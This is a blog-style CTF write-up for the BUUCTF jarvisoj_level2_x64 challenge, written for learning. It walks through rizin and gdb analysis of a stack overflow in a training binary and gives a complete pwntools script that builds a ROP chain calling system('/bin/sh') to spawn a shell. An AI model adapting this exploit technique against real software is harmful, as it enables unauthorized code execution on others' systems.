Here i finish the jarvisoj_level2_x64 1 challenge in buuctf and here is some writeup 😊
(i use English to write this blog for protecting it from CSDN )

i will post my code here and explain it 😙

code

from pwn import *

len = 128 + 8 # filling the stack also RBP

payload = b'a'*len 

evil_addr = 0x00000000004006b3 # pop rdi ret 

evil_addr1 = 0x00400603 # call sym.imp.system 

e = ELF("level2_x64")

sh_addr = 0x00600a90 

system_plt = e.plt['system']

payload += p64(evil_addr) + p64(sh_addr) + p64(evil_addr1)


p = process("./level2_x64")


#pause()

p.sendline(payload);


p.interactive()

Analyse the code

using rizin for static analyse and using gdb for dyn

> rizin level2_x64
[0x00400500]> iE
nth paddr      vaddr      bind   type   size lib name                
---------------------------------------------------------------------
45  0x000006c0 0x004006c0 GLOBAL FUNC   2        __libc_csu_fini
48  ---------- 0x00600a98 GLOBAL NOTYPE 0        _edata
49  0x000006c4 0x004006c4 GLOBAL FUNC   0        _fini
51  0x000005f6 0x004005f6 GLOBAL FUNC   42       vulnerable_function
54  0x00000a80 0x00600a80 GLOBAL NOTYPE 0        __data_start
56  0x00000a88 0x00600a88 GLOBAL OBJ    0        __dso_handle
57  0x000006d0 0x004006d0 GLOBAL OBJ    4        _IO_stdin_used
58  0x00000650 0x00400650 GLOBAL FUNC   101      __libc_csu_init
59  ---------- 0x00600aa0 GLOBAL NOTYPE 0        _end
60  0x00000500 0x00400500 GLOBAL FUNC   0        _start
61  ---------- 0x00600a98 GLOBAL NOTYPE 0        __bss_start
62  0x00000620 0x00400620 GLOBAL FUNC   37       main
63  0x00000a90 0x00600a90 GLOBAL OBJ    8        hint
65  ---------- 0x00600a98 GLOBAL OBJ    0        __TMC_END__
67  0x00000488 0x00400488 GLOBAL FUNC   0        _init

We will dive into main function and vulnerable_function

Let's try main first

also using rizin to decompile it here is the result

[0x00400620]> pdg

void main(int argc, char **argv)
{
    char **var_18h;
    int var_ch;
    
    sym.vulnerable_function();
    sym.imp.system("echo \'Hello World!\'");
    return;
}

Now go into the vulnerable_function for more details

void sym.vulnerable_function(void)
{
    void *buf;
    
    sym.imp.system("echo Input:");
    sym.imp.read(0, &buf, 0x200);
    return;
}

Something strange , notice the read funtion's so i will check the assemble code for more

[0x004005f6]> pdf
            ; CALL XREF from main @ 0x400634
┌ sym.vulnerable_function();
│           ; var void *buf @ stack - 0x88
│           0x004005f6      push  rbp
│           0x004005f7      mov   rbp, rsp
│           0x004005fa      add   rsp, 0xffffffffffffff80
│           0x004005fe      mov   edi, str.echo_Input:                 ; 0x4006d4 ; "echo Input:" ; const char *string
│           0x00400603      call  sym.imp.system                       ; sym.imp.system ; int system(const char *string)
│           0x00400608      lea   rax, [buf]
│           0x0040060c      mov   edx, 0x200                           ; 512 ; size_t nbyte
│           0x00400611      mov   rsi, rax                             ; void *buf
│           0x00400614      mov   edi, 0                               ; int fildes
│           0x00400619      call  sym.imp.read                         ; sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x0040061e      leave
└           0x0040061f      ret

now, the read function's distinct address is pointer into the [buf] which is about locate in stack

here is recive the 0x200 bytes it may be much more larger for the stack , and there is also without canary protection so we can dive into stack overflow via read function

dyn debug

we use gdb for dyn debug to found the exactly number of payload of stack overflow

> gdb vulnerable_function
> c
(gdb) disassemble
Dump of assembler code for function vulnerable_function:
   0x00000000004005f6 <+0>:	push   %rbp
   0x00000000004005f7 <+1>:	mov    %rsp,%rbp
=> 0x00000000004005fa <+4>:	add    $0xffffffffffffff80,%rsp
   0x00000000004005fe <+8>:	mov    $0x4006d4,%edi
   0x0000000000400603 <+13>:	call   0x4004c0 <system@plt>
   0x0000000000400608 <+18>:	lea    -0x80(%rbp),%rax
   0x000000000040060c <+22>:	mov    $0x200,%edx
   0x0000000000400611 <+27>:	mov    %rax,%rsi
   0x0000000000400614 <+30>:	mov    $0x0,%edi
   0x0000000000400619 <+35>:	call   0x4004d0 <read@plt>
   0x000000000040061e <+40>:	leave
   0x000000000040061f <+41>:	ret
End of assembler dump.
(gdb) b *vulnerable_function+40
(gdb) c
Continuing.
[Detaching after vfork from child process 730797]
Input:
AAAAAAAA                                                    

now we input 8 A into stack let's check where are they so that calculate the exactly length

gdb) x/64wx $rsp
0x7fffffffe3b0:	0x41414141	0x41414141	0x0000080a	0x00000000
0x7fffffffe3c0:	0x00000002	0x00000000	0x00000006	0x80000000
0x7fffffffe3d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffe3e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffe3f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffe400:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffe410:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffe420:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffe430:	0xffffe450	0x00007fff	0x00400639	0x00000000
0x7fffffffe440:	0xffffe578	0x00007fff	0xffffe578	0x00000001
0x7fffffffe450:	0xffffe4f0	0x00007fff	0xf7db7e08	0x00007fff
0x7fffffffe460:	0xffffe4a0	0x00007fff	0xffffe578	0x00007fff
0x7fffffffe470:	0x00400040	0x00000001	0x00400620	0x00000000
0x7fffffffe480:	0xffffe578	0x00007fff	0x2ef7ab9e	0x5b0c92b4
0x7fffffffe490:	0x00000001	0x00000000	0x00000000	0x00000000
0x7fffffffe4a0:	0xf7ffd000	0x00007fff	0x00000000	0x00000000
(gdb) p $rbp
$1 = (void *) 0x7fffffffe430

it is obvious that we just need the length about |0x7fffffffe3b0-0x7fffffffe430| + 8

(just explain why you need add 8 : because we just calculate the length from rsp low address into rbp low address , but we need length from rsp low address into rbp high address , so we add 8 for x64 arch machine)

now,we just exploit the vulnerable_function , and we can controller the program to execute any code locate in the program

But what we wanna is get a bash shell or something can execute command

we have two choices
I. allocate a memory and write shellcode into it then go to execute it
II. go to somewhere and change args to get our target

For I , it is hard to do this,cause we just can go to any where ,we could not actually allocate memory and write something into it(maybe we can using a brunch of pop|ret command and go to libc to allocate memory which need more details about the program)

For II ,it is much easier,Attention ,there is something special for us
do you remember the first output

[0x00400500]> iE
nth paddr      vaddr      bind   type   size lib name                
---------------------------------------------------------------------
45  0x000006c0 0x004006c0 GLOBAL FUNC   2        __libc_csu_fini
48  ---------- 0x00600a98 GLOBAL NOTYPE 0        _edata
49  0x000006c4 0x004006c4 GLOBAL FUNC   0        _fini
51  0x000005f6 0x004005f6 GLOBAL FUNC   42       vulnerable_function
54  0x00000a80 0x00600a80 GLOBAL NOTYPE 0        __data_start
56  0x00000a88 0x00600a88 GLOBAL OBJ    0        __dso_handle
57  0x000006d0 0x004006d0 GLOBAL OBJ    4        _IO_stdin_used
58  0x00000650 0x00400650 GLOBAL FUNC   101      __libc_csu_init
59  ---------- 0x00600aa0 GLOBAL NOTYPE 0        _end
60  0x00000500 0x00400500 GLOBAL FUNC   0        _start
61  ---------- 0x00600a98 GLOBAL NOTYPE 0        __bss_start
62  0x00000620 0x00400620 GLOBAL FUNC   37       main
63  0x00000a90 0x00600a90 GLOBAL OBJ    8        hint
65  ---------- 0x00600a98 GLOBAL OBJ    0        __TMC_END__
67  0x00000488 0x00400488 GLOBAL FUNC   0        _init

there is a hint in 0x00600a90 address
let check what it is

[0x00400500]> px @ 0x00600a90
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00600a90  2f62 696e 2f73 6800 0000 0000 0000 0000  /bin/sh.........
0x00600aa0  ffff ffff ffff ffff 0000 0000 0000 0000  ................
0x00600ab0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00600ac0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00600ad0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600ae0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600af0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600b00  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600b10  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600b20  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600b30  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600b40  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600b50  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600b60  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600b70  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00600b80  ffff ffff ffff ffff ffff ffff ffff ffff  ................

it is a string contains '/bin/sh' which can be a args for system to spawn a bash shell
ok ,now find the system function ,we just need assembly code like "call systemm;"
We almost win the game!
Firsh we need found the assemble code "call system"
before we go to here we need replace the original argvs with '/bin/sh'
is it similar ,yeah , we had seen it in vulnerable_function

[0x004005f6]> pdf
            ; CALL XREF from main @ 0x400634
┌ sym.vulnerable_function();
│           ; var void *buf @ stack - 0x88
│           0x004005f6      push  rbp
│           0x004005f7      mov   rbp, rsp
│           0x004005fa      add   rsp, 0xffffffffffffff80
│           0x004005fe      mov   edi, str.echo_Input:                 ; 0x4006d4 ; "echo Input:" ; const char *string
│           0x00400603      call  sym.imp.system                       ; sym.imp.system ; int system(const char *string)
│           0x00400608      lea   rax, [buf]
│           0x0040060c      mov   edx, 0x200                           ; 512 ; size_t nbyte
│           0x00400611      mov   rsi, rax                             ; void *buf
│           0x00400614      mov   edi, 0                               ; int fildes
│           0x00400619      call  sym.imp.read                         ; sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x0040061e      leave
└           0x0040061f      ret

now the can go to 0x00400603 with edi pointer '/bin/sh'

ROP

if you do not understand what ROP is, just go to learn it and come back continue

⋊> ~/solve ROPgadget --binary level2_x64 --only "pop|ret" |grep rdi                                                                                                                                        10:29:20
0x00000000004006b3 : pop rdi ; ret

so we got one gadget ,it is enough

we got the flag !

Here is what stack is after we send payload

(gdb) x/64wx $rsp
rsp-> 0x7ffc0a0ce240:	0x61616161	0x61616161	0x61616161	0x61616161
      0x7ffc0a0ce250:	0x61616161	0x61616161	0x61616161	0x61616161
      0x7ffc0a0ce260:	0x61616161	0x61616161	0x61616161	0x61616161
      0x7ffc0a0ce270:	0x61616161	0x61616161	0x61616161	0x61616161
      0x7ffc0a0ce280:	0x61616161	0x61616161	0x61616161	0x61616161
      0x7ffc0a0ce290:	0x61616161	0x61616161	0x61616161	0x61616161
      0x7ffc0a0ce2a0:	0x61616161	0x61616161	0x61616161	0x61616161
      0x7ffc0a0ce2b0:	0x61616161	0x61616161	0x61616161	0x61616161
rbp-> 0x7ffc0a0ce2c0:	0x61616161	0x61616161	0x004006b3	0x00000000 <- return address (pop rdi ;ret)
sh-> 0x7ffc0a0ce2d0:	0x00600a90	0x00000000	0x00400603	0x00000000  <-call system address
      0x7ffc0a0ce2e0:	0x0a0ce30a	0x00007ffc	0xd226fe08	0x00007897
      0x7ffc0a0ce2f0:	0x0a0ce330	0x00007ffc	0x0a0ce408	0x00007ffc
      0x7ffc0a0ce300:	0x00400040	0x00000001	0x00400620	0x00000000
      0x7ffc0a0ce310:	0x0a0ce408	0x00007ffc	0xd585d4a1	0x05f8e39e
      0x7ffc0a0ce320:	0x00000001	0x00000000	0x00000000	0x00000000
      0x7ffc0a0ce330:	0xd24b5000	0x00007897	0x00000000	0x00000000

it will return to address 0x4006b3 which contains assemble code "pop rdi;ret"
now it execute pop rdi which pop the next address into rdi , yeah it is sh_address
then execute ret command again , which is equ "pop rip" ,so it return to "call system"
Finally you got the bash shell

Thanks for viewing ⛺

posted on 2024-10-08 18:01  Yscliking  阅读(98)  评论(0)    收藏  举报